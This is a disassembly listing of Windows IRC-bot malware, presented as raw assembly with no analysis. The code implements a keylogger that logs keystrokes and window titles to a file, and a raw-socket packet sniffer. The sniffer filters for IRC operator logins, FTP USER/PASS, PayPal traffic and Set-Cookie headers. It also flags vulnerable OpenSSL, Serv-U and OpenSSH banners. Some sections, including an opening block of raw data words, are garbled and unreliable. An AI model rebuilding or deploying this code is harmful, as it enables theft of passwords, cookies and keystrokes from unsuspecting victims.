		dd 75FFFFFFh, 347E908h,	858D0000h, 0FFFFFC90h, 42907068h
		dd 0E5E85000h, 5900009Ch, 8959C33Bh, 4C75FC45h,	19068h
		dd 6415FF00h, 53004270h, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h
		dd 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 0CBE8FFFFh, 8DFFFF7Ah
		dd 0FFF88885h, 93E850FFh, 0FF000038h, 0FFFE98B5h, 940CE8FFh
		dd 0C483FFFFh, 0D9E8531Ch, 9F0072E0h, 39087D8Bh, 2A09Fh
		dd 95840F00h, 0BF000002h, 80h, 0FF30858Dh, 5357FFFFh, 0E445C750h
		dd 5, 88E845C7h, 89000013h, 0FFF788B5h,	8485C7FFh, 1FFFFF7h
		dd 0E8000000h, 9CD8h, 8D0CC483h, 5350E445h, 0F784858Dh
		dd 5053FFFFh, 0D815FF53h, 85004D11h, 398E0FC0h,	0A0000002h
		dd 443398h, 8588CF8Bh, 0FFFFFA88h, 0BD8DC033h, 0FFFFFA89h
		dd 10F445C7h, 0F3000000h, 0AAAB66ABh, 50F4458Dh, 50C4458Dh
		dd 30858D53h, 68FFFFFFh, 80h, 15FF5650h, 4D11C8h, 89C875FFh
		dd 15FFF845h, 4D127Ch, 0B0458D50h, 9F5CE850h, 9D380000h
		dd 0FFFFFF30h, 850F5959h, 1C2h,	0FF31BD80h, 0F01FFFFh
		dd 0BB85h, 94858D00h, 50FFFFFDh, 988FE8h, 0FF535300h, 0B2E8FC75h
		dd 0FF0000B8h, 858DFC75h, 0FFFFFA8Ch, 0FA889D88h, 85C6FFFFh
		dd 0FFFFFA89h, 2006803h, 16A0000h, 8A9D8850h, 0C6FFFFFAh
		dd 0FFFA8B85h, 55E801FFh, 83000099h, 4D8D20C4h,	0F84589C4h
		dd 0FF04C083h, 5351F475h, 88858D50h, 50FFFFFAh,	5415FF56h
		dd 8D004D12h, 8D50B045h, 0FFF88885h, 0C95468FFh, 0E8500043h
		dd 9EC6h, 390CC483h, 0FFFF289Dh, 532375FFh, 0F888858Dh
		dd 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh
		dd 37E8FFFFh, 83FFFF79h, 858D14C4h, 0FFFFF888h,	36FCE850h
		dd 0E9590000h, 110h, 0FF31BD80h, 0F04FFFFh, 0ED85h, 338D8A00h
		dd 8AFFFFFFh, 0FFFF3285h, 0FFF980FFh, 0FA889D88h, 85C6FFFFh
		dd 0FFFFFA89h, 0FE127503h, 88C932C0h, 0FFFA8A85h, 8B9D88FFh
		dd 0EBFFFFFAh, 88C1FE0Eh, 0FFFA8A85h, 8B8D88FFh, 0FFFFFFAh
		dd 0B60FC0B6h, 8E0C1C9h, 0BFC103h, 0C1000002h, 0C72B09E0h
		dd 75FF5053h, 0B7A3E8FCh, 75FF0000h, 8C858DFCh,	57FFFFFAh
		dd 0E850016Ah, 9864h, 8B1CC483h, 0C4458DF8h, 0FFF87D89h
		dd 8D50F475h, 50530447h, 0FA88858Dh, 5650FFFFh,	125415FFh
		dd 0FB3B004Dh, 458D6E75h, 858D50B0h, 0FFFFF888h, 43C93468h
		dd 0CFE85000h, 8300009Dh, 9D390CC4h, 0FFFFFF28h, 8D532375h
		dd 0FFF88885h, 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh
		dd 0FFFC8CB5h, 7840E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h
		dd 3605E8h, 0FC05FF00h,	59004D3Ch, 75FF16EBh, 0C4458DF4h
		dd 96A5350h, 43C92868h,	15FF5600h, 4D1254h, 0FF85D39h
		dd 0FFFD5F8Fh, 87D8BFFh, 8815FF56h, 0FF004D12h,	30E8FC75h
		dd 0FF000097h, 0FFFE9C8Dh, 0A09F39FFh, 59000002h, 0B5FF1375h
		dd 0FFFFFE98h, 0FF9135E8h, 0E85359FFh, 72DE04h,	3E86849h
		dd 15FF0000h, 427064h, 0FB8AE857h, 5E5FFFFFh, 4C2C95Bh
		db 0
; ---------------------------------------------------------------------------


loc_412215:				; CODE XREF: .nsp0:004123AAp
					; .nsp0:00412549p
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	dword_427130	; GetLocalTime
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 0B40000h
		mov	dh, 8Dh
		test	ebp, esp
; ---------------------------------------------------------------------------
		dw 0FFFEh
; ---------------------------------------------------------------------------
		jmp	fword ptr [eax+14h]
; ---------------------------------------------------------------------------
		rol	dword ptr [ebx+0], 1
		push	eax
		call	sub_41C560
		lea	eax, [ebp-114h]
		push	offset aWinntse_bat ; "winntse.bat"
		push	eax
		call	sub_41C560
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BBB8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_41227C
		push	1
		pop	eax
		jmp	short loc_4122F3
; ---------------------------------------------------------------------------


loc_41227C:				; CODE XREF: .nsp0:00412275j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41C49F
		push	esi
		call	sub_41B90B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_4122F1
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43D0E4
		push	200h
		push	eax
		call	sub_41C030
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 24h


loc_4122F1:				; CODE XREF: .nsp0:004122B8j
		xor	eax, eax


loc_4122F3:				; CODE XREF: .nsp0:0041227Aj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4122F6:				; DATA XREF: .nsp0:00405F0Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-8DCh], 0
		push	25h
		and	dword ptr [ebp-4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-0DCh]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-8D8h]
		rep stosd
		call	dword_4D1174	; GetForegroundWindow
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	dword_4D118C	; GetWindowTextA
		mov	ebx, 200h


loc_412351:				; CODE XREF: .nsp0:004125BDj
		push	8
		call	dword_427064	; Sleep
		call	dword_4D1174	; GetForegroundWindow
		cmp	eax, [ebp-8]
		jz	short loc_4123D9
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	dword_4D118C	; GetWindowTextA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		lea	eax, [ebp-4DCh]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_41BF36
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	loc_412215
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch


loc_4123D9:				; CODE XREF: .nsp0:00412362j
		mov	dword ptr [ebp+8], offset aB_1 ; "b"


loc_4123E0:				; CODE XREF: .nsp0:004125B3j
		push	10h
		call	dword_4D10C4	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+8]
		mov	edi, [eax-4]
		push	edi
		call	dword_4D11BC	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_412478
		push	14h
		call	dword_4D10C4	; GetKeyState
		test	ax, ax
		jz	short loc_412429
		cmp	esi, 0FFFFFFFFh
		jle	short loc_412429
		cmp	edi, 40h
		jle	short loc_412429
		cmp	edi, 5Bh
		jge	short loc_412429
		mov	dword ptr [ebp+edi*4-8DCh], 1
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_412429:				; CODE XREF: .nsp0:00412408j
					; .nsp0:0041240Dj ...
		push	14h
		call	dword_4D10C4	; GetKeyState
		test	ax, ax
		jz	short loc_412454
		test	esi, esi
		jge	short loc_412468
		cmp	edi, 40h
		jle	short loc_412454
		cmp	edi, 5Bh
		jge	short loc_412454
		mov	dword ptr [ebp+edi*4-8DCh], 2
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_412454:				; CODE XREF: .nsp0:00412434j
					; .nsp0:0041243Dj ...
		test	esi, esi
		jge	short loc_412468
		mov	dword ptr [ebp+edi*4-8DCh], 3
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_412468:				; CODE XREF: .nsp0:00412438j
					; .nsp0:00412456j
		mov	dword ptr [ebp+edi*4-8DCh], 4
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_412478:				; CODE XREF: .nsp0:004123FBj
		mov	esi, [ebp+edi*4-8DCh]
		lea	eax, [ebp+edi*4-8DCh]
		test	esi, esi
		jz	loc_4125A8
		and	dword ptr [eax], 0
		lea	eax, [ebp-2DCh]
		cmp	edi, 8
		push	eax
		jnz	short loc_4124B0
		call	sub_41B890
		and	byte ptr [ebp+eax-2DDh], 0
		pop	ecx
		jmp	loc_4125A8
; ---------------------------------------------------------------------------


loc_4124B0:				; CODE XREF: .nsp0:0041249Bj
		call	sub_41B890
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4124E2
		call	dword_4D1174	; GetForegroundWindow
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4D118C	; GetWindowTextA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_412523
; ---------------------------------------------------------------------------


loc_4124E2:				; CODE XREF: .nsp0:004124BBj
		cmp	edi, 0Dh
		jnz	loc_41257A
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_41B890
		test	eax, eax
		pop	ecx
		jz	loc_4125A8
		call	dword_4D1174	; GetForegroundWindow
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4D118C	; GetWindowTextA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_412523:				; CODE XREF: .nsp0:004124E0j
		lea	eax, [ebp-4DCh]
		push	eax
		call	sub_41BF36
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	loc_412215
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		jmp	short loc_4125A8
; ---------------------------------------------------------------------------


loc_41257A:				; CODE XREF: .nsp0:004124E5j
		cmp	esi, 1
		jz	short loc_412593
		cmp	esi, 3
		jz	short loc_412593
		cmp	esi, 2
		jz	short loc_41258E
		cmp	esi, 4
		jnz	short loc_4125A8


loc_41258E:				; CODE XREF: .nsp0:00412587j
		push	dword ptr [ebp+8]
		jmp	short loc_41259A
; ---------------------------------------------------------------------------


loc_412593:				; CODE XREF: .nsp0:0041257Dj
					; .nsp0:00412582j
		mov	eax, [ebp+8]
		add	eax, 7
		push	eax


loc_41259A:				; CODE XREF: .nsp0:00412591j
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_41C560
		pop	ecx
		pop	ecx


loc_4125A8:				; CODE XREF: .nsp0:00412424j
					; .nsp0:0041244Fj ...
		add	dword ptr [ebp+8], 14h
		cmp	dword ptr [ebp+8], offset dword_43D0AC
		jl	loc_4123E0
		cmp	dword ptr [ebp-4], 0
		jz	loc_412351
		push	dword ptr [ebp-0D8h]
		call	sub_40B32A
		pop	ecx
		push	0
		call	near ptr 0B40000h
		push	es


loc_4125D7:				; DATA XREF: .nsp0:00405C0Co
		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_41C1D0
		mov	edx, [ebp+8]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp-0B4h]
		pop	ecx
		mov	[ebp-8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	esi
		call	dword_4D11F0	; ntohs
		push	dword ptr [ebp-0B4h]
		mov	[ebp-1Ah], ax
		call	sub_40AB6A
		pop	ecx
		push	eax
		call	dword_4D1230	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp-18h], eax
		call	dword_4D1270	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jnz	short loc_4126AC
		call	dword_4D1184	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_43DAB4
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_41268F
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_41268F:				; CODE XREF: .nsp0:0041266Dj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-30h]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		pop	ds


loc_4126AC:				; CODE XREF: .nsp0:0041264Dj
		mov	eax, [ebp-30h]
		push	10h
		imul	eax, 234h
		mov	dword_44412C[eax], edi
		lea	eax, [ebp-1Ch]
		push	eax
		push	edi
		call	dword_4D121C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412731
		call	dword_4D1184	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_43DA88
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_41270D
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_41270D:				; CODE XREF: .nsp0:004126EBj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-30h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		xchg	eax, ecx


loc_412731:				; CODE XREF: .nsp0:004126CBj
		push	esi
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4D119C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4127B4
		call	dword_4D1184	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_43DA58
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_412790
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_412790:				; CODE XREF: .nsp0:0041276Ej
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	edi
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-30h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		pop	ecx


loc_4127B4:				; CODE XREF: .nsp0:0041274Ej
		push	ebx
		mov	ebx, offset dword_43D170


loc_4127BA:				; CODE XREF: .nsp0:004127F2j
					; .nsp0:00412804j ...
		mov	edi, 0FFFFh
		lea	eax, [ebp-102B4h]
		push	edi
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-102B4h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4D1208	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4128E7
		cmp	byte ptr [ebp-102ABh], 6
		jnz	short loc_4127BA
		mov	eax, [ebp-102A8h]
		cmp	byte ptr [ebp-10293h], 18h
		mov	[ebp-0Ch], eax
		jnz	short loc_4127BA
		lea	eax, [ebp-1028Ch]
		push	offset dword_43DA4C
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4127BA
		lea	eax, [ebp-1028Ch]
		push	offset dword_43DA3C
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4127BA
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	loc_4127BA
		mov	[ebp+8], ebx


loc_412843:				; CODE XREF: .nsp0:0041285Ej
		push	eax
		lea	eax, [ebp-1028Ch]
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412865
		inc	edi
		add	dword ptr [ebp+8], 18h
		mov	eax, [ebp+8]
		jnz	short loc_412843
		jmp	loc_4127BA
; ---------------------------------------------------------------------------


loc_412865:				; CODE XREF: .nsp0:00412854j
		lea	eax, [ebp-1028Ch]
		push	eax
		push	dword ptr [ebp-102A0h]
		call	dword_4D1120	; ntohs
		movzx	eax, ax
		push	eax
		push	dword ptr [ebp-0Ch]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_43D184[eax*8]
		push	off_43D160[eax*4]
		lea	eax, [ebp-2B4h]
		push	offset dword_43DA08
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		cmp	[ebp-28h], esi
		jnz	short loc_4128D5
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_4128D5:				; CODE XREF: .nsp0:004128B3j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		jmp	loc_4127BA
; ---------------------------------------------------------------------------


loc_4128E7:				; CODE XREF: .nsp0:004127E5j
		call	dword_4D1184	; WSAGetLastError
		push	eax
		push	offset dword_43D9DC
		lea	eax, [ebp-2B4h]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp-28h], esi
		pop	ebx
		jnz	short loc_41292D
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4099D2
		add	esp, 14h


loc_41292D:				; CODE XREF: .nsp0:0041290Bj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	dword ptr [ebp-4]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-30h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		cmp	eax, 424448Bh
		mov	dword_4D3F60, eax
		mov	eax, offset dword_4D3F60
		retn
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41297C


loc_412978:				; CODE XREF: .nsp0:0041298Bj
					; .nsp0:0041299Cj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41297C:				; CODE XREF: .nsp0:00412976j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412978
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412978
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412978
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4129C4


loc_4129C0:				; CODE XREF: .nsp0:004129D3j
					; .nsp0:004129E4j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4129C4:				; CODE XREF: .nsp0:004129BEj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset a366	; "366 "
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129C0
		push	offset aIdent	; ":!ident"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4129C0
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4129C0
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn

; =============== S U B	R O U T	I N E =======================================



sub_412A79	proc near		; CODE XREF: .nsp0:00412F5Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412A93


loc_412A8F:				; CODE XREF: sub_412A79+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412A93:				; CODE XREF: sub_412A79+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A8F
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AB9


loc_412AB5:				; CODE XREF: sub_412A79+4Fj
					; sub_412A79+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412AB9:				; CODE XREF: sub_412A79+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412AB5
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412AB5
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412A79	endp


; =============== S U B	R O U T	I N E =======================================



sub_412AEF	proc near		; CODE XREF: .nsp0:00412F90p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B09


loc_412B05:				; CODE XREF: sub_412AEF+29j
					; sub_412AEF+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412B09:				; CODE XREF: sub_412AEF+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B05
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B05
		push	offset a220	; "220 "
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B40


loc_412B3C:				; CODE XREF: sub_412AEF+60j
					; sub_412AEF+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412B40:				; CODE XREF: sub_412AEF+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B3C
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B3C
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412AEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B76	proc near		; CODE XREF: .nsp0:00412FC1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B90


loc_412B8C:				; CODE XREF: sub_412B76+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412B90:				; CODE XREF: sub_412B76+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B8C
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412BB6


loc_412BB2:				; CODE XREF: sub_412B76+4Fj
					; sub_412B76+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412BB6:				; CODE XREF: sub_412B76+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BB2
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BB2
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BB2
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412B76	endp


; =============== S U B	R O U T	I N E =======================================



sub_412BFD	proc near		; CODE XREF: .nsp0:loc_413027p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412C17


loc_412C13:				; CODE XREF: sub_412BFD+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412C17:				; CODE XREF: sub_412BFD+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C13
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412C3D


loc_412C39:				; CODE XREF: sub_412BFD+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412C3D:				; CODE XREF: sub_412BFD+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C39
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412BFD	endp

; ---------------------------------------------------------------------------


loc_412C62:				; DATA XREF: .nsp0:00405D5Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C1D0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0B8h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-3B7h]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
